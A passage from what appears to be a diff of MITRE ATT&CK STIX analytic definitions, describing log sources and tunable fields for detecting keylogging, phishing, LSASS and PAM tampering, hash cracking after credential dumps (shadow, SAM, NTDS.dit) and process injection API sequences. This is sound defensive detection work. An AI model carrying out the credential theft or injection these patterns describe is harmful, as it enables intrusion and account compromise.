"networkdevice:runtime", + "channel": "runtime" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FirmwareBuildHash", + "description": "Used to baseline known good versions versus injected scripts." + }, + { + "field": "ScriptInjectionPath", + "description": "Path to where scripts are allowed or denied based on config." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dd283114-84d8-4b1a-a765-f3a7f378c2d1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0102#AN0282", + "external_id": "AN0282" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0282", + "description": "Monitors for abnormal process behavior and API calls like SetWindowsHookEx, GetAsyncKeyState, or device input polling commonly used for keystroke logging.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4656" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetImage", + "description": "Can be scoped to sensitive GUI processes like explorer.exe or winlogon.exe" + }, + { + "field": "TimeWindow", + "description": "Time threshold for detecting multiple suspicious accesses" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--79f3bf7a-cf35-442c-b707-ba4dabd6ed62", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0102#AN0283", + "external_id": "AN0283" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0283", + "description": "Detects use of tools/scripts accessing input devices like /dev/input/* or evdev via suspicious processes lacking GUI context.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open, read" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "auditd:SYSCALL", + "channel": "ptrace, ioctl" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessName", + "description": "Unusual process accessing device files" + }, + { + "field": "DevicePath", + "description": "Typically /dev/input/*, but tunable to exact endpoint config" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--13f8fd10-3982-4a10-85c1-4641712c7286", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0102#AN0284", + "external_id": "AN0284" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0284", + "description": "Monitors for TCC-bypassing or unauthorized access to input services like IOHIDSystem or Quartz Event Services used in keylogging or screen monitoring.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "macos:unifiedlog", + "channel": "subsystem=com.apple.TCC" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "launchd or process_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "Service", + "description": "com.apple.accessibility, com.apple.quartz, etc. depending on the API path used" + }, + { + "field": "ParentProcess", + "description": "Unusual parent/child pairings can indicate malicious injection" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6db136be-4e41-4cb7-8237-eee81ee6a3cd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0102#AN0285", + "external_id": "AN0285" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0285", + "description": "Detects web-based credential phishing by analyzing traffic to suspicious URLs that mimic login portals and POST credential content.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "http.log" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Firewall", + "channel": "proxy or TLS inspection logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserAgent", + "description": "Mismatched browser identifiers used by phishing kits" + }, + { + "field": "URL_Path", + "description": "Paths resembling known login forms but hosted on unknown domains" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5d47e6b2-04fb-45ab-be98-7de1baabf508", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0103#AN0286", + "external_id": "AN0286" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0286", + "description": "Detects network share disconnection attempts using command-line tools like `net use /delete`, PowerShell `Remove-SmbMapping`, and correlation with process lineage and SMB session teardown activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "SMB2_LOGOFF/SMB_TREE_DISCONNECT" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Adjustable window to correlate CLI disconnection command with SMB session teardown (e.g., 5 mins)" + }, + { + "field": "UserContext", + "description": "Used to filter on non-interactive users or highly privileged accounts" + }, + { + "field": "ProcessCommandLineRegex", + "description": "Patterns to match `net use \\\\host\\share /delete`, `Remove-SmbMapping`, or suspicious batched disconnections" + }, + { + "field": "NetworkShareNamePattern", + "description": "Tunable list of shares likely targeted (e.g., ADMIN$, C$, IPC$)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--818b46ce-9c93-47c9-a649-8bc5d3b734a5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0104#AN0287", + "external_id": "AN0287" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0287", + "description": "Detects modification of LSASS and authentication DLLs, suspicious registry changes to password filter packages, and abnormal process access to lsass.exe. Correlates registry modifications, DLL loads, and process handle access events.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredRegistryKeys", + "description": "Specific LSASS and password filter registry paths monitored for modification." + }, + { + "field": "TimeWindow", + "description": "Correlation window between registry change, DLL load, and lsass.exe access." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--776b9173-cbe0-4d1e-8ac9-af19b3db9dd7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0104#AN0288", + "external_id": "AN0288" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0288", + "description": "Detects modification of PAM configuration files, unauthorized new PAM modules, and suspicious process execution accessing PAM-related binaries. Correlates file modification events in /etc/pam.d/ with process execution of unauthorized binaries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "open, write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedPaths", + "description": "Critical PAM directories and configuration files monitored for modification." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ee0f60f3-2fb3-4857-b02e-58c69b5aab52", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0104#AN0289", + "external_id": "AN0289" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0289", + "description": "Detects unauthorized additions or changes to /Library/Security/SecurityAgentPlugins and suspicious process activity attempting to hook authentication APIs. Correlates file modifications with abnormal plugin loads in authentication flows.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "SecurityAgentPlugins modification" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "macos:osquery", + "channel": "process_open" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PluginPaths", + "description": "List of approved authentication plugin directories to baseline." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bbaa7fb3-974c-41ef-9cec-a0789a66445c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0104#AN0290", + "external_id": "AN0290" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0290", + "description": "Detects suspicious configuration changes in IdP authentication flows such as enabling reversible password encryption, MFA bypass, or policy weakening. Correlates policy modification events with unusual administrative activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", + "name": "azure:policy", + "channel": "UpdatePolicy" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "m365:unified", + "channel": "Set-ADUser OR Set-ADAccountControl" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PolicyBaseline", + "description": "Expected authentication-related policy configurations to compare against." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--20b6d23a-d1cc-494c-ac67-e7358835c674", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0104#AN0291", + "external_id": "AN0291" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0291", + "description": "Detects unauthorized changes to IAM authentication configurations such as disabling MFA, creating backdoor access keys, or altering trust policies. Correlates identity policy updates with unusual login behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "AWS:CloudTrail", + "channel": "UpdateLoginProfile" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", + "name": "AWS:CloudTrail", + "channel": "UpdateAccountPasswordPolicy" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ApprovedAccounts", + "description": "Baseline list of service accounts expected to modify IAM authentication policies." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d2a45051-b999-4969-aeb0-d7f83d453976", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-27 15:59:35.823000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0105#AN0292", + "external_id": "AN0292" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0292", + "description": "Use of hash-cracking tools (e.g., John the Ripper, Hashcat) after credential dumping, combined with high CPU usage or GPU invocation via unsigned binaries accessing password hash files", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=5145, 4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "HashToolName", + "description": "Match execution against known cracking toolnames like hashcat.exe, john.exe, etc." + }, + { + "field": "FilePathIndicators", + "description": "Watch for access to common hash dump locations (e.g., SAM, SYSTEM, NTDS.dit)" + }, + { + "field": "ExecutionContext", + "description": "Run context: local interactive user vs. scheduled task or remote session" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7efdc4e3-8a2e-4d0d-8ced-03155f2c55ac", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0105#AN0293", + "external_id": "AN0293" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0293", + "description": "Execution of hash cracking binaries or scripts (e.g., john, hashcat) following access to shadow file or dumped hashes", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "linux:syslog", + "channel": "auth.log or custom tool logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ShadowAccessPattern", + "description": "Access to /etc/shadow or known dumped hash files" + }, + { + "field": "CrackingBinaryPath", + "description": "Tool path or name associated with hash cracking" + }, + { + "field": "CPUUsageThreshold", + "description": "Sustained CPU load post-credential dump can be an indicator" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3682e3c9-33a7-4328-b0c5-73c8bbcb9b53", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0105#AN0294", + "external_id": "AN0294" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0294", + "description": "Unsigned or scripting-based processes invoking password cracking binaries or accessing hashed credential artifacts post-login", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process and file events via log stream" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UnsignedBinaryPath", + "description": "Path to untrusted binaries launched by user" + }, + { + "field": "UserPrivilegeLevel", + "description": "Helps distinguish between system and user-launched activity" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0084089f-6e5f-42c4-8b0d-78e95cd55d0f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0105#AN0295", + "external_id": "AN0295" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0295", + "description": "Sudden valid logins from accounts that previously had credentials dumped but had not authenticated successfully in the past; correlated with timeline of suspected hash cracking", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "azure:signinlogs", + "channel": "Success logs from high-risk accounts" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PostDumpTimeWindow", + "description": "Detection window after credential dumping to watch for successful logins" + }, + { + "field": "LoginLocationRisk", + "description": "Use IP/geolocation risk scoring to flag unusual access" + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--029db14d-fb94-49ee-9d6d-3c7212671377", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0105#AN0296", + "external_id": "AN0296" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0296", + "description": "Offline cracking inferred by subsequent successful CLI or web-based authentications into routers or switches from previously dumped accounts", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "networkdevice:syslog", + "channel": "config access, authentication logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LogonTimeCorrelation", + "description": "Window to link credential theft and reuse" + }, + { + "field": "SourceDeviceTag", + "description": "Filters based on where cracking may have occurred externally" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d845dc30-6950-4f0c-9342-29b7a7315bd2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0106#AN0297", + "external_id": "AN0297" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0297", + "description": "Detects PE injection through a behavioral sequence where one process opens (OpenProcess) a handle to another, allocates remote memory (VirtualAllocEx), writes a PE header (MZ) or shellcode (WriteProcessMemory), then initiates a new thread (CreateRemoteThread or NtCreateThreadEx) in that process\u2014executing injected code in memory without touching disk. Optional: injects a trampoline or shellcode that unpacks/reflectively maps the payload.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=8" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PayloadEntropyThreshold", + "description": "Controls for detecting high-entropy memory writes indicating shellcode or encrypted PE" + }, + { + "field": "TargetProcessList", + "description": "High-value or sensitive processes that should never have remote threads injected" + }, + { + "field": "TimeWindow", + "description": "Max allowed delay between memory write and thread execution" + }, + { + "field": "ParentProcessAnomalyThreshold", + "description": "Used to filter legitimate process hierarchies vs anomalous injection sources" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a39fccda-e5ea-49de-80f9-d67ae3b8c799", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0107#AN0298", + "external_id": "AN0298" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0298", + "description": "Correlation of inbound emails with embedded links followed by user-driven browser navigation to suspicious or obfuscated domains. Detection chain includes malicious URL in email \u2192 user click recorded in Office logs \u2192 browser process spawning unusual child processes (e.g., PowerShell, cmd) or download activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "Send/Receive: Inbound emails containing embedded or shortened URLs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": 